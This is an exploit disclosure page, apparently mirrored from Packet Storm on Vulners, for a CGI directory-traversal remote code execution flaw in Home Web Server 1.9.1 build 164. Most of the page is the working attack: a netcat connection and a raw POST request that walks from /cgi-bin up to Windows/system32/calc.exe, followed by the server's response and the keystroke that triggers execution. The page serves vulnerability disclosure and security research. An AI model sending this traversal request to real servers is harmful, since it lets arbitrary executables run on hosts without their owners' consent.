Lucene search
K

Home Web Server 1.9.1 Build 164 Remote Code Execution

🗓️ 05 Jun 2017 00:00:00Reported by Guillaume KaddouchType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 18 Views

Home Web Server 1.9.1 Build 164 Remote Code Execution vulnerability disclosure. Allows remote execution of arbitrary code via directory traversal in cgi programs

Code
`# Exploit Title: Home Web Server 1.9.1 build 164 - CGI Remote Code Execution  
# Date: 26/05/2017  
# Exploit Author: Guillaume Kaddouch  
# Twitter: @gkweb76  
# Blog: https://networkfilter.blogspot.com  
# GitHub: https://github.com/gkweb76/exploits  
# Vendor Homepage: http://downstairs.dnsalias.net/ (does not exist anymore)  
# Software Link: http://download.cnet.com/Home-Web-Server/3000-2648_4-10652679.html  
# Version: 1.9.1 (build 164)  
# Tested on: Windows 7 SP1 Family x64 (FR)  
# Category: Webapps  
  
"""  
Disclosure Timeline:  
--------------------  
2017-05-26: Vulnerability discovered  
2017-05-26: Vendor website is down, no way to contact him  
  
  
Description :  
-------------  
Home Web Server allows to call cgi programs via POST which are located into /cgi-bin folder. However by using a directory traversal,  
it is possible to run any executable being on the remote host.  
  
  
Instructions:  
-------------  
- Starts Home Web Server.  
- Run this exploit from a remote Kali machine with netcat as below.  
"""  
  
# Connect with netcat, then drop a single POST to call the executable you want  
guillaume@kali:~/kiwi_syslog$ nc 10.0.0.100 80  
POST /cgi-bin/../../../../../../../../Windows/system32/calc.exe HTTP/1.1  
  
# Returned response  
HTTP/1.1 400 Bad Request  
Connection: close  
Content-Length: 0  
Server: My Web Server (HWS164)  
  
"""  
[CTRL+C] : this is important to launch the executable we requested  
  
Calc.exe has been launched on the remote host.  
"""  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation